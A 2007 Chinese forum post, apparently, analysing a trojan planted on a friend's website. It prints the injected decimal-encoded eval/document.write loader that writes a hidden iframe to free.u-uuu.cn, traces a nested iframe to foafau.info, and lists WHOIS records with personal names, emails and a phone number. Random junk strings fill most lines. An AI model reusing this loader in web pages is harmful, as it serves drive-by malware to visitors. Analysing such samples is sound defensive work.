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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, FWbA+{8  
p$cSES>r:  
http://www.areway.cn/?p=175 qrmJJSJ  
b 64~Y|8  
l1qWl   
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: =,=tSp  
          y$e'-v  
<script>t=’60,105,102,114,97,109,101, G_] (7  
32,115,114,99,61,104,116,116,112,58,47,47, oLXQ#{([  
102,114,101,101,46,117,45,117,117,117,46,99, D'823,-).  
110,47,101,114,114,111,114,46,104,116,109, CdRgI^5  
32,119,105,100,116,104,61,49,48,48,32,104, c*g(R.!  
101,105,103,104,116,61,48,62,60,47,105,102, ]+B#SIC;  
114,97,109,101,62′; :8~*NSEFd  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> 3[L)q2;}$N  
                                                                                                  "K8<X  
<script>t=’60,105,102,114,97,109,101,32,115, 5b9>a5j1;  
114,99,61,104,116,116,112,58,47,47,102,114, )'RLK4l  
101,101,46,117,45,117,117,117,46,99,110,47, QDC]g.x  
101,114,114,111,114,46,104,116,109,32,119, >Cjb|f3'i}  
105,100,116,104,61,49,48,48,32,104,101,105, @:s|X  
103,104,116,61,48,62,60,47,105,102,114,97, Qx mVImn"  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); FFNv'\)  
document.write(t);</script> |h,aV(Q  
                                                                                                  04wmN  
<html xmlns=” y8KJoVP iM  
http://www.w3.org/1999/xhtml C9q`x2  
“> |'2E'?\/x  
<head> P2`!)teN  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> <,Zk9 t&  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> V}>0r+NL<  
<title>首页 - 爱生活家庭网 `~"l a>}  
                                                                                                                                                    "yI)F~A  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 '%>$\Lv  
转换字符串后的大概内容是(谁点击后果自付): ~pqp`  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… PQ2u R  
                                                                                                                                  *HwTq[y  
查询玉米u-uuu.cn的详细信息: =B(zW .Gf  
Domain Name: u-uuu.cn l#,WMu&  
ROID: 20070901s10001s64972306-cn v |XEC[F  
Domain Status: ok ^6~CA  
Registrant Organization: 王雷 Xa2QtJq  
Registrant Name: 王雷 (l.`g@(L  
Administrative Email: czlovexs@126.com `bGAc&,&  
Sponsoring Registrar: 北京万网志成科技有限公司 sY t8NsQ  
Name Server:ns.yovole.com 3H%oTgWk  
Name Server:ns1.yovole.com > @ulvHL  
Registration Date: 2007-09-01 17:54 C`D5``4  
Expiration Date: 2008-09-01 17:54 uE>2 *u\  
最后PING了一下地址 都没有什么…. =J,aBp  
                                                                                                $o`N%]  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. Zjt3U;Y  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> +[JGi"ca  
<script language=”javascript” src=” pbivddi2  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script eA>O<Z1>  
> '$M=H.  
这个玉米应该有可能是木马作者的: <dzE5]%\  
foafau.info的详细信息: C,w$)x5kls  
Access to INFO WHOIS information is provided to assist persons in ztG_::QtG]  
determining the contents of a domain name registration record in the ?EeHeN_  
Afilias registry database. The data in this record is provided by n2R{$^JxO  
Afilias Limited for informational purposes only, and Afilias does not }Y5Sf"~M  
guarantee its accuracy.  This service is intended only for query-based gU Cv#:  
access. You agree that you will use this data only for lawful purposes G1Cn[F;e  
and that, under no circumstances will you use this data to: (a) allow, }0T1* .Cz  
enable, or otherwise support the transmission by e-mail, telephone, or f4zd(J  
facsimile of mass unsolicited, commercial advertising or solicitations =@m|g )  
to entities other than the data recipient’s own existing customers; or .h^."+TJ  
(b) enable high volume, automated, electronic processes that send +EcN[-~  
queries or data to the systems of Registry Operator, a Registrar, or Od'!v&  
Afilias except as reasonably necessary to register domain names or ?0+D1w  
modify existing registrations. All rights reserved. Afilias reserves 9[|Ql  
the right to modify these terms at any time. By submitting this query, Pe/cwKCI  
you agree to abide by this policy. lhx6+w  
Domain ID:D22418703-LRMS L^ VG?J  
Domain Name:FOAFAU.INFO <!&&Qd-d6H  
Created On:20-Nov-2007 16:05:42 UTC DL2gui3  
Last Updated On:20-Nov-2007 16:05:44 UTC JLRw`V,o7  
Expiration Date:20-Nov-2008 16:05:42 UTC NrTQ}_3)  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) :?{ **&=  
Status:CLIENT DELETE PROHIBITED VuFH >8n  
Status:CLIENT RENEW PROHIBITED Fk>/  
Status:CLIENT TRANSFER PROHIBITED K.] *:fd  
Status:CLIENT UPDATE PROHIBITED z@$7T: H>  
Status:TRANSFER PROHIBITED 7vV3"uns  
Registrant ID:GODA-040110615 |-I[{"6q$@  
Registrant Name:liu hong Y*0%l q({H  
Registrant Organization: jjkiic+tDN  
Registrant Street1:beijing :a}hd^;[%8  
Registrant Street2: x<"e} Oo  
Registrant Street3: &@A(8(%  
Registrant City:beijing :a3Pnq$]E  
Registrant State/Province: 5A /G?  
Registrant Postal Code:100000 }@}jwi)l  
Registrant Country:CN }7vX4{Yn  
Registrant Phone:+86.860108888777 @q2Yka  
Registrant Phone Ext.: `Y/DttjL  
Registrant FAX: )oa6;=go  
Registrant FAX Ext.: APuG8 <R,  
Registrant Email:bbbshiji@163.com B[Uvj~g  
Admin ID:GODA-240110615 0W9,uC2:N  
Admin Name:liu hong G6Z2[Ej1  
Admin Organization: eQno]$-\  
Admin Street1:beijing \no[>L]  
Admin Street2: 'rU [V+  
Admin Street3: [X=-x=S,  
Admin City:beijing w:& m_z#M  
Admin State/Province: |qJQWmJO&U  
Admin Postal Code:100000 cxrUk$f  
Admin Country:CN 3t(nV4uDF  
Admin Phone:+86.860108888777 :=^JHE{  
Admin Phone Ext.: %? _pSH}$!  
Admin FAX: ;&P%A<[`  
Admin FAX Ext.: JMw1qPJQ  
Admin Email:bbbshiji@163.com I1 j-Q8  
Billing ID:GODA-340110615 R\MM2_I  
Billing Name:liu hong _;{n+i[  
Billing Organization: (D{Fln\  
Billing Street1:beijing k#ED#']N  
Billing Street2: Q! ]  
Billing Street3: 8\`]T%h  
Billing City:beijing 4)-LlYS_d<  
Billing State/Province: ;p/RS#  
Billing Postal Code:100000 5Y"lr Y38  
Billing Country:CN >"B95$x5  
Billing Phone:+86.860108888777 oKiBnj5J  
Billing Phone Ext.: (J][(=s;a  
Billing FAX: wnP#.[,V  
Billing FAX Ext.: zhU)bb[A  
Billing Email:bbbshiji@163.com c{6!}0Q4  
Tech ID:GODA-140110615 MMD4b}p  
Tech Name:liu hong fC2e}WR   
Tech Organization: Ej ip%m  
Tech Street1:beijing ;_,=  
Tech Street2: g ` 6Xrf  
Tech Street3: 6YQ&+4   
Tech City:beijing 1-1x,U7w  
Tech State/Province: !t{3IE  
Tech Postal Code:100000 7<oLe3fbM  
Tech Country:CN (+38z)f  
Tech Phone:+86.860108888777 q*\ #H C  
Tech Phone Ext.: ^{_`jE  
Tech FAX: 0ho+Y@8  
Tech FAX Ext.: hJ>{`Tw  
Tech Email:bbbshiji@163.com ( N~[sf?&  
Name Server:NS27.DOMAINCONTROL.COM #]oVVf_  
Name Server:NS28.DOMAINCONTROL.COM =E8lpN'  
Name Server: &p^ S6h  
Name Server: f:GZb?Wyd  
Name Server: DHW;*A-  
Name Server: ~#&bDot  
Name Server: *{P"u(K  
Name Server: k+{ -iPm{  
Name Server: 9;k_"@A6  
Name Server: n@mWB UM  
Name Server: }>=k!l{  
Name Server: {^1GHU  
Name Server: \Q|1I  
                                                                                                          G@oY2sM"  
接着下载每个文件里面的代码: 3aQWzEnh  
一步一步看.. :t8(w>oW  
=M>1;Qr<Z/  
D%N^iJC,9  
!iWPldn&]  
iJk`{P_  
z[B*sbS  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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